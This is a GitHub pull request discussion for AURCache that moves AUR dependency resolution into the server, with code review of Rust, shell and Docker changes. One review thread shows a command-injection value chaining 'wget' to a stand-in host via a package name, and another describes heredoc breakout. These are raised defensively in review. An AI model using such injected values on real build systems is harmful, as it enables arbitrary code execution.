Move dependency resolution to aurcache - #360
Conversation
| let base_url = std::env::var("AUR_RPC_URL") | ||
| .map(|u| u.trim_end_matches('/').trim_end_matches("/rpc/v5").trim_end_matches('/').to_string()) | ||
| .unwrap_or_else(|_| "https://aur.archlinux.org".to_string()); |
There was a problem hiding this comment.
This is mostly to allow mocking/testing
I'm getting this error when trying locally, might be a fault on my side, have to dig into it. |
|
Yes I'm mounting the pacman.conf, so I don't need to patch it as root/sudo when running the container. I remember getting this error also in paru+chroot (not even in aurcache) when trying to upgrade pacman with pacman.conf mounted read-only. If that's the case there may be a way to specifically ask pacman not to upgrade that file? Will check. Alternatively we just can't upgrade pacman itself, and need to create a builder from scratch, which is also not that terrible. We could |
|
Starting to be in a state that's testable. I updated the UI to hide dependency-only packages from the main list. The package info page now shows dependency/dependent links in the sidebar. I think it looks fine, but we can also consider reworking the inner page to share the space between the builds and the dependencies/dependents. Remaining details to fix:
Re: mounting pacman.conf, it's also similar to how makechrootpkg handles it, with the same result that upgrading pacman is not trivial. I think makechrootpkg is where we're moving towards (if/once we have persistent builders that need to isolate packages without spawning new containers). Alternatives (for both) include:
My main goal for that is to move a bit closer to not having passwordless-sudo when we build the package. Right now we still need sudo to install the dependencies, but I hope we could eventually also split this into a part that only download and installs dependencies (as root), then build the package (with no passwordless sudo). This is what Though I do realize now that if we're going towards EDIT: Okaaaay I think it's properly ready for review now. It's a big baby at +5k loc, but a good chunk of that is for tests. |
| fn fetch_required_pgp_keys_cmd() -> &'static str { | ||
| "pgp_keys=\"$(if [ -f .SRCINFO ]; then \ | ||
| sed -n 's/^[[:space:]]*validpgpkeys[[:space:]]*=[[:space:]]*//p' .SRCINFO; \ | ||
| else \ | ||
| makepkg --printsrcinfo | sed -n 's/^[[:space:]]*validpgpkeys[[:space:]]*=[[:space:]]*//p'; \ | ||
| fi)\" && \ | ||
| if [ -n \"$pgp_keys\" ]; then \ | ||
| while IFS= read -r key; do \ | ||
| [ -n \"$key\" ] || continue; \ | ||
| if ! gpg --batch --list-keys \"$key\" >/dev/null 2>&1; then \ | ||
| gpg --batch --keyserver hkps://keyserver.ubuntu.com --recv-keys \"$key\"; \ | ||
| fi; \ | ||
| done <<< \"$pgp_keys\"; \ | ||
| fi" | ||
| } |
There was a problem hiding this comment.
Soo this is still a pretty ugly solution. I see a few options:
- A) Fetch the key by looking at the SRCINFO at the last minute (current PR). We don't currently have the SRCINFO before then, so this is the earliest we can look at it. Doing it in bash is painful.
- B) Fetch the keys by looking at the SRCINFO at the last minute, but do it in rust so it's a bit cleaner. We'd write a tiny binary using alpm-srcinfo that parses the SRCINFO and fetches the keys as needed. Sounds like quite some boilerplate to avoid a dozen lines of bash, but it's an option.
- C) Fetch the SRCINFO in AURCache, identify the keys in rust using alpm-srcinfo, then import them in the builder. At least no need for a bash loop and sed.
- D) Fetch the SRCINFO in AURCache, identify the keys, and import them (if needed) in a keyring that AURCache owns, then bind-mount that keyring in the builder. Will need some special care to be kept up-to-date without requiring to run
--populateevery time we build a package.
If we move to remote builders, we might not be able to bind-mount from aurcache, and will need a "local" keyring on the builder. It'll need to list the keys from the SRCINFO and import them (in the chroot), which would end up quite similar to the current solution (or the replacement rust script).
There was a problem hiding this comment.
I think we'll eventually move towards getting the SRCINFO in AURCache since that's already what we do for git packages, and it'll solve the platform-specific dependency issue listed in another comment. Solution C) from above.
If the builder is persistent it should be able to keep the keys from build to build without a bind-mount, and not pull them as much. It'll solve the problem of constantly pulling from the keyserver and getting rate-limited.
| "pgp_keys=\"$(if [ -f .SRCINFO ]; then \ | ||
| sed -n 's/^[[:space:]]*validpgpkeys[[:space:]]*=[[:space:]]*//p' .SRCINFO; \ | ||
| else \ | ||
| makepkg --printsrcinfo | sed -n 's/^[[:space:]]*validpgpkeys[[:space:]]*=[[:space:]]*//p'; \ |
There was a problem hiding this comment.
AUR packages should have a SRCINFO - for git repo, I think so too? Maybe we don't need the fallback?
There was a problem hiding this comment.
I think its fine as is, SRCINFO is optional locally and is generated from the PKGBUILD (but not when uploading to AUR)
This would remove the simplicity of just adding a PKGBUILD to a git repo and add it to AURCache... (you'd add an additinal step)
|
Thanks a lot for all the changes! I think I'll need some time to review all of this properly :) |
|
A small note: PKGBUILDS and SRCINFO can list platform-specific dependencies (for example In that case, the AUR api returns the union of the dependencies of all platforms, and that's what we currently use to build the dependency graph. It means that if we satisfy our dependency graph, then we know the package can be built for all platforms. But it does mean we might try to build more than is strictly necessary. For example in this case we would build A more precise but more complex alternative would have platforms per dependency link and only try to build what is actually needed for the required platform. To do that we'd also need to get the dependencies from the SRCINFO since the AUR api doesn't mention that. This means downloading the snapshot tarball to AURCache (we'd only extract the SRCINFO, but we'd still likely need to decompress the whole thing), which would be a larger change. Possible, but maybe later, as this PR is already large enough. |
Lukas-Heiligenbrunner
left a comment
Lukas-Heiligenbrunner
left a comment
There was a problem hiding this comment.
Hi, some points.
I accidently triggered this copilot thingie, sorry for that, no idea how i can delete it again
|
|
||
| for (archive_path, parsed) in &build_pkgs { | ||
| let archive_name = archive_path.file_name().to_str().unwrap().to_string(); | ||
| let platform = self.build_model.platform.get()?.clone(); |
There was a problem hiding this comment.
This can be moved outside the loop?
| archive_name | ||
| ); | ||
| let existing = Files::find() | ||
| .filter(files::Column::Filename.eq(&archive_name)) |
There was a problem hiding this comment.
Here we should probably filter for the corresponding platform?
.filter(files::Column::Platform.eq(&platform))
If platform=any two builds with the same filename may be produced?
| for (pkg_file, file) in remaining_old_files { | ||
| let Some(file) = file else { continue }; | ||
| let stale = Files::find() | ||
| .filter(files::Column::PackageId.eq(pkg_id)) |
| @@ -0,0 +1,322 @@ | |||
| use std::collections::{HashMap, HashSet}; | |||
There was a problem hiding this comment.
Please split the contents of this file into several rs files, or at least another one than lib.rs
| /// Extract dependencies and sub-package names from a parsed .SRCINFO. | ||
| pub fn deps_from_srcinfo(source_info: &SourceInfoV1) -> PkgDeps { | ||
| let packages = source_info | ||
| .packages_for_architecture(alpm_types::SystemArchitecture::X86_64) |
There was a problem hiding this comment.
Here is x86_64 hardcoded, so always the amd64 deps are resolved. Shouldn't this be dependent on the build platform?
| "sudo pacman -Syu --noconfirm --noprogressbar --color never && \ | ||
| mkdir -p {build_dir} && cd {build_dir} && \ | ||
| curl -sL '{snapshot_url}' | tar xz && \ | ||
| cd {pkgbase} && \ |
There was a problem hiding this comment.
A malicious pkgbase variable could basically execute any command in the container. I'm not sure how severe this is, but if its just "/ && wget https://stuff.example"
There was a problem hiding this comment.
A malicious package could already run arbitrary commands when we start building. We mostly want to avoid privilege escalation with sudo.
I agree a more robust way would be great, will check when I get back at a computer
There was a problem hiding this comment.
Yeah true. I think its fine as is for now. We have other more important problems...
| build_cmd: &str, | ||
| ) -> String { | ||
| format!( | ||
| "cat <<'__AURCACHE_MAKEPKG_EOF__' > {makepkg_config_path}\n{makepkg_config}\n__AURCACHE_MAKEPKG_EOF__\n\ |
There was a problem hiding this comment.
One could also inject arbitrary commands here when colosing the heredoc inside the config file and && a second command...
I think in the long term when we have seperate aurcache-builder instances this can be easier solved when the builder spawns builds or an aurcache daemon runs inside the container and starts a build.
There was a problem hiding this comment.
That's user-controlled, right? If a user really wants to inject commands into their own environment...
I agree that a more robust way would be good. Moving to a proper communication protocol rather than bash commands would help.
We can also sanitize the value, for example through base64, then call base64 -d in the container. A bit inefficient but not terribly ugly.
Or in this case we might send this through env vars of the docker container, so we can easily access it from the bash process
There was a problem hiding this comment.
I agree. Yeah I'd leave it as is for now.
We should just keep in mind that this is not optimal ind the docker CMD length is byte limited at some point.
env var might be a good option tho, also for other parameters.
| > 0; | ||
|
|
||
| if !has_pending_build { | ||
| package_update_with_client(client, db, dep_pkg.clone(), true, tx).await?; |
There was a problem hiding this comment.
Here the dependent platform is only triggered when the platform matches, right?
So when the parent has platform aarch64 and x86_64 and the child onlx x86_64 this probably won't work?
Or am i missing somehting?
There was a problem hiding this comment.
I also managed to have an infinite recursion which resulted on an stack overflow on this line.
I force updated a package which is already up-to-date and then, I think dependencies_ready_for_platform is called infinitly? I'm not sure tbh
No problems, it's probably worth looking at, at least |
9f69829 to
9245ebe
Compare
| rm /etc/pacman.d/mirrorlist.backup | ||
|
|
||
| pacman --sync --needed --noconfirm --noprogressbar sudo base-devel git || echo "Nothing to do" | ||
| pacman --sync --needed --noconfirm --noprogressbar sudo base-devel multilib-devel git || echo "Nothing to do" |
There was a problem hiding this comment.
Not related to this PR, and not technically required to build aur packages, but many packages that were moved from multilib to AUR omit this dependency, which causes build errors for a bunch of lib32-... packages.
There was a problem hiding this comment.
Makes sense, we keep that in.
| liblzma = { version = "0.4.1", features = ["parallel"] } | ||
| md5 = "0.8.0" | ||
| sha2 = "0.11.0" | ||
| xz2 = "0.1.7" |
There was a problem hiding this comment.
liblzma is the maintained fork of xz2, which is what alpm-compress uses. The two are incompatible (because they both link to the C liblzma). Moving to liblzma was required to be able to use alpm-compress, but it's also probably a good idea regardless.
There was a problem hiding this comment.
Didn't know about that, yes sounds good.
| @@ -0,0 +1,1273 @@ | |||
| use aurcache_db::migration::Migrator; | |||
There was a problem hiding this comment.
Any test that uses mocks to actually run (local) network queries was considered "integration test" and moved to the tests folder, rather than inline unit tests. They're still much faster to run than the full e2e test.
| .or_insert_with(|| constraint.to_string()); | ||
| } | ||
|
|
||
| fn split_constraints(constraint: &str) -> Vec<&str> { |
There was a problem hiding this comment.
While alpm-types has some helpers to parse individual constraints, I couldn't find anything for comma-separated constraint bounds like >=1.0,<2.0. Maybe we could post an issue on their gitlab to add that.
There was a problem hiding this comment.
Makes probably sense to file an issue.
Is a comma seperated constraint list a pacman standard used in pkgbuilds?
There was a problem hiding this comment.
Oh maybe not indeed, could not find an example nor doc implying it's supported. Moving to better typed representation for our own internal case (merging different constraints from several split packages from the same base). Though even that is quite the edge case.
8875a13 to
52783fc
Compare
18e5fab to
4064da5
Compare
| #[derive(Deserialize, ToSchema, Serialize, Default, Clone)] | ||
| pub struct GitPackage { | ||
| pub git_url: String, | ||
| pub git_ref: String, | ||
| pub subfolder: String, | ||
| } |
There was a problem hiding this comment.
Consolidated with the one from aurcache_db.
| let update_pkg = packages::ActiveModel { | ||
| id: Set(id), | ||
| name: input.name.clone().map_or(NotSet, Set), | ||
| name: new_name.clone().map_or(NotSet, Set), |
There was a problem hiding this comment.
Do we even need the ability to change the package name, or the out of date status, or most of the other fields we are patching here?
If it's only meant to be used by the UI, then we don't need more than just patching the build flags.
| ) -> Result<Json<Vec<SimplePackageModel>>, NotFound<String>> { | ||
| let db = db as &DatabaseConnection; | ||
|
|
||
| list_directly_requested_packages(db, limit, page) |
There was a problem hiding this comment.
When we add better UI filters, we can consider returning everything here and letting the UI show/hide the dependency-only packages. Or have filters in the query args, since we already do pagination here.
| Ok(result) | ||
| } | ||
|
|
||
| async fn count_directly_requested_packages(db: &DatabaseConnection) -> anyhow::Result<u32> { |
There was a problem hiding this comment.
Here too we could count separately the number of total vs directly requested packages
| let dependent_ids: Vec<i32> = Dependencies::find() | ||
| .filter(dependencies::Column::DependeeId.eq(pkg_id)) | ||
| .select_only() | ||
| .column(dependencies::Column::DependentId) | ||
| .into_tuple() | ||
| .all(&self.db) | ||
| .await?; | ||
|
|
||
| if dependent_ids.is_empty() { | ||
| return Ok(HashMap::new()); | ||
| } | ||
|
|
||
| let deps = Dependencies::find() | ||
| .filter(dependencies::Column::DependentId.is_in(dependent_ids)) | ||
| .all(&self.db) | ||
| .await?; |
There was a problem hiding this comment.
Could be done in a single query with a self-join, but:
- SeaORM apparently doesn't make that easy
- Raw sql would be an option, but there might be some postgres vs sqlite differences
| /// they can reach AURCache directly without port exposure on the host. | ||
| /// 3. **DinD mode**: inspect the `bridge` network gateway. Builder containers | ||
| /// created by the internal Docker daemon reach AURCache at the gateway IP. | ||
| pub async fn get_repo_config(docker: &bollard::Docker) -> anyhow::Result<&'static RepoConfig> { |
There was a problem hiding this comment.
This is another ugly part, but hopefully it'll go away eventually.
To install packages in the builder, we need to add AURCache as a repo. Initially I was using a file:// repo by bind-mounting it into the builder, which works, but like all bind-mounting it needs special logic for DinD/Host.
Using http:// instead removes the need for the bind-mount and is more in line with a future plan of having remote workers. We just need to know AURCache's own address.
When we move to remove builders, the builder config will be a natural place for that. But for now we don't have that config, and it's surprisingly painful to get the current IP.
- In DinD mode, we can talk to the gateway, which is usually a fixed IP but could be configured to something else. If the aurcache builder image is the only supported way to run AURCache then we could control that, but if it's "just" a convenient pre-built image to distribute, we could consider alternative images built around AURCache with different docker configs. In that case we can still find the gateway with some docker commands.
- In Host mode, by default spawned containers cannot actually reach other containers, so we also need to spawn them in the same network. For that we need to get the current network + the current address, which we can also do from docker.
I don't like this method, but I think it isolates the mess in a piece that's relatively easy to remove if/when we move to remote/persistent builders.
|
I just realized there's a flaw in the current build queuing in this PR:
The main advantage is that if a build is queued, it can always be started. But it has a few drawbacks:
So I think I will instead directly queue up the build for |
7971e5c to
6de2301
Compare
| FROM --platform=linux/arm/v7 lopsided/archlinux-arm32v7:latest AS arch_armv7 | ||
|
|
||
| ########## Target sysroot (extract libs for cross-compilation) ########## | ||
| FROM arch_${TARGETARCH}${TARGETVARIANT:+${TARGETVARIANT}} AS target_sysroot |
There was a problem hiding this comment.
Not needing to build paru simplifies quite a bit.
| echo "${AUR_USER} ALL=(ALL) NOPASSWD: /usr/bin/pacman" > "/etc/sudoers.d/allow_${AUR_USER}_to_pacman" | ||
| echo "${AUR_USER} ALL=(ALL) NOPASSWD: /usr/bin/pacman-key" >> "/etc/sudoers.d/allow_${AUR_USER}_to_pacman" | ||
| echo "${AUR_USER} ALL=(ALL) NOPASSWD: /usr/bin/chmod" >> "/etc/sudoers.d/allow_${AUR_USER}_to_pacman" | ||
| echo "${AUR_USER} ALL=(ALL) NOPASSWD: /usr/bin/tee /etc/pacman.conf" >> "/etc/sudoers.d/allow_${AUR_USER}_to_pacman" |
There was a problem hiding this comment.
Used to prepare the pacman.conf.
Alternatives:
- Run the builder command as root, no need for sudo.
- Bind-mount the pacman.conf file read-only, no need to prepare that from the builder. Con: confuses pacman's disk-space check when it tries to update pacman itself.
Will likely go away when/if we move to persistent builders.
| use anyhow::{anyhow, bail}; | ||
| use flate2::Compression; | ||
| use flate2::read::GzEncoder; | ||
| use flate2::write::GzEncoder; |
There was a problem hiding this comment.
This was a very confusing bug! flate2::read::GzEncoder does implement Write but just forwards the data uncompressed, it only compresses data that is read. This was used to write the archive, which resulted in an uncompressed archive, despite the .gz extension.
Some tools ignore the .gz extension and work transparently with uncompressed repos, but some don't (in particular the alpm-* crates).
| let pkg_models: Vec<packages::Model> = Packages::find() | ||
| .filter(packages::Column::OutOfDate.eq(1)) | ||
| .all(&txn) | ||
| .all(db) |
There was a problem hiding this comment.
The transaction was only used for the initial select, it was not actually keeping the updates further down in the same transaction. As a result it wasn't really doing anything useful.
| } | ||
|
|
||
| /// Fetch the dependency lists for a pkgbase via the AUR RPC. | ||
| pub async fn deps_of(&self, pkgbase: &str) -> Result<PkgDeps, Error> { |
There was a problem hiding this comment.
As I was reworking this part to be less clunky I found out a big issue with the current design: we cannot search the AUR rpc api by pkgbase, only by child pkg name. Many pkgbase have at least one child package with the same name as the base, but not all. For example https://aur.archlinux.org/pkgbase/czkawka defines czkawka-gui and czkawka-cli`.
So I'm moving away from querying the RPC to list dependencies, and instead will fetch the snapshot of the pkgbase and inspect the SRCINFO there. It will unify the git and aur source types (and in the future the upload type as well), and it's something I was thinking of doing anyway (though I hoped it could wait until later).
There was a problem hiding this comment.
Further AUR/git unification: we now checkout AUR packages by their git endpoint, and persist these checkouts (just like what paru does), which as a minor bonus makes the next update faster (not that snapshot download was a very slow point).
|
Hi @gyscos I won't have time until July to work on this since its pretty stressful with work+uni currently. I'll review it then and give feedback (or you bring it to a RTM state before and I'm happy to merge it ;) ) |
|
Of course, no rush, it still needs quite some work before it's ready. First time I try to use copilot to drive a new feature, I should have checked and cleaned up more frequently, now it's taking ages to go through everything. But will get there! |
1256be2 to
5776ef3
Compare
5776ef3 to
34304ed
Compare
| // from looping: the AUR-reported version is the one from when the | ||
| // PKGBUILD was last touched, which may be *older* than what was | ||
| // actually built from the live VCS source. | ||
| let is_outdated = match &latest_version { |
There was a problem hiding this comment.
Not strictly speaking required by this PR as it was existing before, but since this PR now updates the DB version based on the newly built package, this was happening much more often.
# Conflicts: # backend/Cargo.lock # backend/Cargo.toml # backend/aurcache-builder/src/docker.rs # backend/aurcache-db/Cargo.toml # backend/aurcache-scheduler/Cargo.toml
|
One note, might be coming in a follow-up PR: it would be nice to be able to manually edit the dependency tree of a package. When several packages "provide" the same required virtual dependency, we pick one automatically. But in some cases it makes sense not use a specific one. (In my use-case, steam-native-runtime ended up depending on That feature may also help "replace" dependencies with git-packaged ones: if a AUR package happens to be broken, we can publish a git package instead (or one day an uploaded PKGBUILD). It'll be used as a dependency node for newly added packages, but it's not currently possible to "patch"/"update" an existing entry in the aurcache to point to that. (We can also dream a UI mode where there's a "fork" button on a package page that opens an in-browser editor to patch a PKGBUILD or other source, but that's for another day.) |
|
Yep true, good idea for the future. :)
Lukas Heiligenbrunner
Heubergstraße 35a
4407 Dietach
Tel.: +43 680 1111340
***@***.***
…On Mon, 13 Jul 2026, 14:14 Alexandre Bury, ***@***.***> wrote:
*gyscos* left a comment (Lukas-Heiligenbrunner/AURCache#360)
<#360 (comment)>
One note, might be coming in a follow-up PR: it would be nice to be able
to manually edit the dependency tree of a package. When several packages
"provide" the same required virtual dependency, we pick one automatically.
But in some cases it makes sense not use a specific one. (In my use-case,
steam-native-runtime ended up depending on jpegli-git to satisfy the
libjpeg dependency, but I'd like to manually change that).
That feature may also help "replace" dependencies with git-packaged ones:
if a AUR package happens to be broken, we can publish a git package instead
(or one day an uploaded PKGBUILD). It'll be used as a dependency node for
newly added packages, but it's not currently possible to "patch"/"update"
an existing entry in the aurcache to point to that.
(We can also dream a UI mode where there's a "fork" button on a package
page that opens an in-browser editor to patch a PKGBUILD or other source,
but that's for another day.)
—
Reply to this email directly, view it on GitHub
<#360?email_source=notifications&email_token=AHIOWXAELZSM7VPBCLB4TW35ETHCHA5CNFSNUABFM5UWIORPF5TWS5BNNB2WEL2JONZXKZKDN5WW2ZLOOQXTIOJVG44DCOJQGA3KM4TFMFZW63VHMNXW23LFNZ2KKZLWMVXHJLDGN5XXIZLSL5RWY2LDNM#issuecomment-4957819006>,
or unsubscribe
<https://github.com/notifications/unsubscribe-auth/AHIOWXFB3T5Y7QEK6NPKADD5ETHCHAVCNFSNUABFKJSXA33TNF2G64TZHM3TGNJQHEYDKNJTHNEXG43VMU5TINBTHA2DCOJUGE2KC5QC>
.
You are receiving this because you commented.Message ID:
***@***.***>
|
72ada6a to
2a2ea2c
Compare
|
Minor details that can also be fixed later: this PR adds a few UI elements:
The package and build list view now has a new icon for a build that's waiting for dependencies to be ready. I used the pause icon for that, and picked a different icon for a build that's in progress. We can revisit the icons and colors used - maybe the clock face is better to say it's waiting, and another icon could indicate the build is in progress. 
In the future, more UI changes could come:
|
Dependency resolution moves out of `paru` running inside the builder and into AURCache itself, so the server knows the package graph rather than discovering it mid-build. Resolution and sources: * `aurcache-db::helpers::dependency_resolution` resolves a dependency name to its source — an already-tracked local package (by name, split package or `provides`), an official repo package, or an AUR package — with local matches taking precedence. * Official-repo membership is answered from downloaded repo databases rather than an HTTP existence check, which could not see `provides`. * AUR and git sources are fetched through one persistent git checkout cache, so a re-resolve is an incremental fetch rather than a re-clone, and one `SnapshotStore` instance is shared by the build queue, the schedulers and auto-update instead of each keeping its own. * Requesting a rebuild at a new version updates the dependency graph, which previously kept the constraints recorded at first add. Fixes to out-of-date detection, which the above depends on: * A cached checkout never advanced past its first clone. `fetch` only moves `refs/remotes/origin/*`, so resolving the ref locally returned the originally cloned commit forever — every AUR package, since they resolve `HEAD`. Out-of-date detection (live AUR RPC) then reported an update while the build read the frozen pkgver and refused it with "Latest build is already up to date". Resolve against the fetched remote-tracking ref and keep HEAD on the branch so it follows upstream; tags and pinned SHAs still detach. A force-pushed branch resets onto the rewritten history, which suits a disposable source cache. * One failing git package aborted the whole periodic version check, so every package after it kept a stale `out_of_date` flag until a later run — and that run would abort in the same place. Failures are now isolated per package, matching the AUR branch. * Repo database downloads were transparently gunzipped by reqwest, so the `.db.tar.gz` written to the cache was not what the parser expected. Squashed from the branch's development history; the checkout and version-check fixes were developed on feature/remote-worker and backported here. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01UrGKN5md6Vypip4FEw5X1Q
a3f1432 to
c3517c3
Compare
`multi_info_of` put one `arg[]` per package into a single GET. The server rejects a request line over 8 KiB with `414 Request-URI Too Large` — measured against the real service, 8185 bytes answers and 8313 does not — which at roughly 25 bytes per package caps one request near 300 packages. The failure was not partial: `check_versions` propagates the error, so one oversized request stopped *every* package from being version-checked, on every pass, for as long as the package count stayed above the limit. The only symptom was a single log line, and the retry policy retried a 414 with backoff even though it is never transient. Queries are now split to stay under the limit and the results concatenated, measured against the encoded URL rather than a package count: the 187 AUR packages containing `+` are four bytes longer than they look. `resolve_bases` is chunked too — it is handed a whole dependency list. An individual chunk coming back empty is no longer an error: those packages are simply not in the AUR any more. Back-ported from feature/pkgbase-url, adapted for this branch's `Error`, which maps `url::ParseError` explicitly rather than via `From`. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01UrGKN5md6Vypip4FEw5X1Q
`deps_from_srcinfo` read `.SRCINFO` for `SystemArchitecture::X86_64`, hardcoded — the only call site — while packages carry a platform list and builds run per platform. A PKGBUILD can declare `depends_aarch64` separately from `depends`, so a package built only for aarch64 had its dependency graph computed from an architecture it is never built on: missing what it needs, and requiring what it does not. It now takes the architectures and returns the union across them. The graph is stored once per package rather than once per platform, so it has to cover every platform the package is built for. That over-requires where two architectures need different things, which is the safe direction — a dependency that is built but unused costs a build, where a missing one breaks the package. An empty platform list falls back to x86_64 rather than resolving to no dependencies at all: no configured platforms is missing configuration, not a package that needs nothing. Back-ported from feature/pkgbase-url. Only the resolution half came across: there, changing a package's platform set also re-runs the resolution, which needs `package_resync_dependencies` — a function this branch does not have. So a platform set edited after the fact still leaves the stored graph stale here. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01UrGKN5md6Vypip4FEw5X1Q
This moves the dependency resolution up, from paru running in the builder, to AURCache itself.
Context: base packages (PKGBUILDS) can sometimes build several packages, called "child packages". When it's just one, the child package is usually called like the base package, so we often mix up the two concepts. I'll use base package and child package precisely here.
Previous situation:
paru, which pulls and builds all AUR dependencies automatically.Situation after this PR:
makepkg. AUR dependencies are directly pulled from AURCache's repository.An example package used in some tests was
turso, which depends onlibaegisandsimsimd, both of which can be built without further AUR dependencies (so it's a relatively simple dependency tree to test).Tests
Notes
?signedin the URL to indicate it should be signed (for git urls).makepkgis fine with it, even when it comes after a#commit. For example libaegis:This is technically not valid URL (the
?should come before#), and thealpm-srcinfocrate doesn't support that. Ticket filed. This is currently blocking the use of that crate for this.This is still at the draft level, I'm cleaning up and finishing some details. But the big changes/architecture should already be there.